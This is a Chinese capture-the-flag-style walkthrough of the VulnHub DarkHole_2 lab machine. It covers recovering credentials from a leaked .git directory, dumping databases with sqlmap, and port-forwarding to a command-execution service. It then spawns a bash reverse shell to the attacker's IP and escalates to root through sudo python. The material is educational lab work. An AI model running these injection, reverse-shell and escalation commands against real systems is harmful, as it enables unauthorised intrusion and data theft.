当前位置: 首页 > news >正文

VulnHub-DarkHole_2靶机渗透教程

1.靶机部署

[Onepanda] Mik1ysomething

靶机下载:https://download.vulnhub.com/darkhole/darkhole_2.zip

直接使用VMware导入打开就行

注意:靶机的网络连接模式必须和kali一样,让靶机跟kali处于同一网段,这样kali才能扫出靶机的地址。

2.信息收集

2.1 获取靶机ip(arp-scan/nmap)

2.信息收集

2.1 获取靶机ip(arp-scan/nmap)

arp-scan -l
nmap 192.168.135.0/24

2.2 详细信息扫描(nmap)

nmap -sS -T5 -sC -p- --min-rate 10000 192.168.135.135
nmap -sS -p---min-rate 10000 $ip

发现开放了80端口,访问一下看看

2.3 敏感目录扫描(dirsearch/dirb/gobuster/御剑/7bscan)

dirsearch -u http://192.168.135.135 -e *
dirb http://192.168.135.135

2.4 指纹收集(whatweb)

whatweb -v 192.168.135.135

3.渗透过程

3.1 访问敏感目录文件

信息收集时发现存在.git目录,访问存在文件

3.2 git文件泄露

使用git-dumper工具分析git文件

没有的话安装地址:git-dumper/README.md at master · arthaud/git-dumper · GitHub

git-dumper: 一个.git文件夹的dump取,但是这个工具dump下的文件是可以执行git命令的

3.2.1 git-dumper下载git文件夹的内容到bf目录文件夹

3.2.2 bf文件夹中查看日志

git log命令解释:

3.2.3 对比三次提交

使用git里面的diff参数获得当前工作目录和上次提交的差距,三个哈希值一个一个尝试。

git diff 0f1d821f48a9cf662f285457a5ce9af6b9feb2c4
​
git diff a4d900a8d85e8938d3601f3cef113ee293028e10
​
git diff aa2a5f3aa15bb402f2b90a07d86af57436d64917

尝试到第二个发现一组用户名和密码信息

lush/321
lush@admin.com/321

3.3 登录网页

前面信息收集还有一个web网页端,尝试登录

登录成功

进入页面发现url里面存在id=1,发现id值是不是想到SQL注入。

当我们将id的值设置0或者null页面的消息消失。

尝试后面加个单引号,发现报错,确定存在SQL注入

3.4 SQL注入

3.4.1 获取网站的cookie的值

直接f12刷新找回包(不会?找不到?直接私信我手把手教你)

3.4.2 利用获取的cookie的值进行爆破(sqlmap)

sqlmap -u http://192.168.135.135/dashboard.php?id=1 --cookie PHPSESSID=tbd7j9nf62b8nhbimkqv86bvh7 --current-db
sqlmap -u http://192.168.135.135/dashboard.php?id=1 --cookie PHPSESSID=tbd7j9nf62b8nhbimkqv86bvh7 -dbs
sqlmap爆破得到数据库名darkhole_2
sqlmap基本操作笔记:
-u  #注入点 
-f  #指纹判别数据库类型 
-b  #获取数据库版本信息 
-p  #指定可测试的参数(?page=1&id=2 -p "page,id") 
-D ""  #指定数据库名 
-T ""  #指定表名 
-C ""  #指定字段 
-s ""  #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s "xx.log"  恢复:-s "xx.log" --resume) 
--level=(1-5) #要执行的测试水平等级,默认为1 
--risk=(0-3)  #测试执行的风险等级,默认为1 
--time-sec=(2,5) #延迟响应,默认为5 
--data #通过POST发送数据 
--columns        #列出字段 
--current-user   #获取当前用户名称 
--current-db     #获取当前数据库名称 
--users          #列数据库所有用户 
--passwords      #数据库用户所有密码 
--privileges     #查看用户权限(--privileges -U root) 
-U               #指定数据库用户 
--dbs            #列出所有数据库 
--tables -D ""   #列出指定数据库中的表 
--columns -T "user" -D "mysql"      #列出mysql数据库中的user表的所有字段 
--dump-all            #列出所有数据库所有表 
--exclude-sysdbs      #只列出用户自己新建的数据库和表 
--dump -T "" -D "" -C ""   #列出指定数据库的表的字段的数据(--dump -T users -D master -C surname) 
--dump -T "" -D "" --start 2 --top 4  # 列出指定数据库的表的2-4字段的数据 
--dbms    #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB) 
--os      #指定系统(Linux,Windows) 

3.4.3 获取数据库darkhole_2下的表名

sqlmap -u http://192.168.135.135/dashboard.php?id=1 --cookie PHPSESSID=tbd7j9nf62b8nhbimkqv86bvh7 -D darkhole_2 --tables --batch
爆破得到两个表ssh/users

3.4.4 获取表里的列信息

sqlmap -u http://192.168.135.135/dashboard.php?id=1 --cookie PHPSESSID=tbd7j9nf62b8nhbimkqv86bvh7 -D darkhole_2 -T users -dump
sqlmap -u http://192.168.135.135/dashboard.php?id=1 --cookie PHPSESSID=tbd7j9nf62b8nhbimkqv86bvh7 -D darkhole_2 -T ssh -dump
爆破得到ssh用户名和密码
jehad/fool

3.4.5 SSH连接

ssh jehad@192.168.135.135
jehad/fool

3.5 提权

3.5.1 查看权限

3.5.2 查找SUID文件

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null

3.5.3 查看计划任务

cat /etc/crontab

查看一下/opt/web下的文件内容

发现允许远程命令执行

3.5.4 查看历史命令

cat .bash_history

3.5.5 查看/etc/passwd文件

cat /etc/passwd |grep "bin/bash"
发现多个用户

3.5.6 详细查看服务(命令执行)

curl "http://localhost:9999/?cmd=cat%20/etc/passwd"
curl "http://localhost:9999/?cmd=id"

可以查看到这个服务归属于用户losy

3.5.7 获取losy权限

重新登录ssh,使本地端口与靶机端口映射,访问本地端口转发到靶机
ssh jehad@192.168.135.135 -L 9999:localhost:9999
ssh -L 9999:127.0.0.1:9999 jehad@192.168.135.135

3.5.8 反弹shell

在之前我们通过查看历史命令发现可以进行远程命令执行,而命令执行的角色属性是losy用户的。使用SSH 隧道连接端口 9999,访问 127.0.0.1:9999 进行 RCE。

kali构造
bash -c 'sh -i >& /dev/tcp/192.168.135.129/1234 0>&1'
url编码:
bash+-c+%27sh+-i+%3e%26+%2fdev%2ftcp%2f192.16 8.135.129%2f1234+0%3e%261%27

kali使用nc开启端口监听

nc -lvnp 1234

kali可以在浏览器直接访问:

http://127.0.0.1:9999/?cmd=bash+-c+%27sh+-i+%3e%26+%2fdev%2ftcp%2f192.16 8.135.129%2f1234+0%3e%261%27

也可以通过curl的访问

curl http://127.0.0.1:9999/?cmd=bash+-c+%27sh+-i+%3e%26+%2fdev%2ftcp%2f192.16 8.135.129%2f1234+0%3e%261%27

成功拿到losy权限

直接交互式shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

历史命令history查看发现password密码:gang

直接ssh连接losy用户

ssh losy@192.168.135.135

sudo -l
利用python提权
sudo python3 -c 'import pty; pty.spawn("/bin/bash")'
sudo python3 -c 'import os; os.system("/bin/bash")' 

cd /root
​
cat root.txt
​
获取到flag文件

本篇文章渗透结束 感谢大家的观看!!

相关文章:

  • DCAN,ECAN和MCAN的区别
  • 基于SpringBoot的校园二手商品在线交易系统+含项目运行说明文档
  • UniGoal 具身导航 | 通用零样本目标导航 CVPR 2025
  • ABP-Book Store Application中文讲解 - Part 0:开发环境搭建
  • 创建第一个Spring Boot项目
  • 文案提取有错别字怎么办?
  • QT之Q_PROPERTY介绍以及在QWidget中的用法
  • 武汉昊衡科技OLI光纤微裂纹检测仪:高密度光器件的精准守护者
  • 基于Python爬虫的豆瓣电影信息爬取(可以根据选择电影编号得到需要的电影信息)
  • GPLT-2025年第十届团体程序设计天梯赛总决赛题解(2025天梯赛题解,共计266分)
  • -PHP 反序列化POP 链构造魔术方法流程漏洞触发条件属性修改
  • Linux 管道理解
  • cf | Common Multiple
  • 来访登记二维码生成
  • deepseek-php-client开源程序是强力维护的 PHP API 客户端,允许您与 deepseek API 交互
  • Linux ———— 编译器g++/gcc
  • 【3.1】pod详解——Pod的结构
  • 32单片机——GPIO寄存器
  • Java 异常 SSLException: fatal alert: protocol_version 全解析与解决方案
  • Python内置函数-aiter()
  • 拖车10公里收1900元?货车司机质疑收费过高,潮州饶平县市监局已介入
  • 潘功胜在美谈关税:吁全球经济勿滑向“高摩擦、低信任”轨道
  • 范福生受审:任高密市长、市委书记时滥用职权,致公共财产利益重大损失
  • 特写|“三峡千古情”出圈,一场演出给宜昌留下更多游客
  • 时隔七年,上合组织国家电影节再度在中国举办
  • 特朗普:泽连斯基的言论对和平谈判非常有害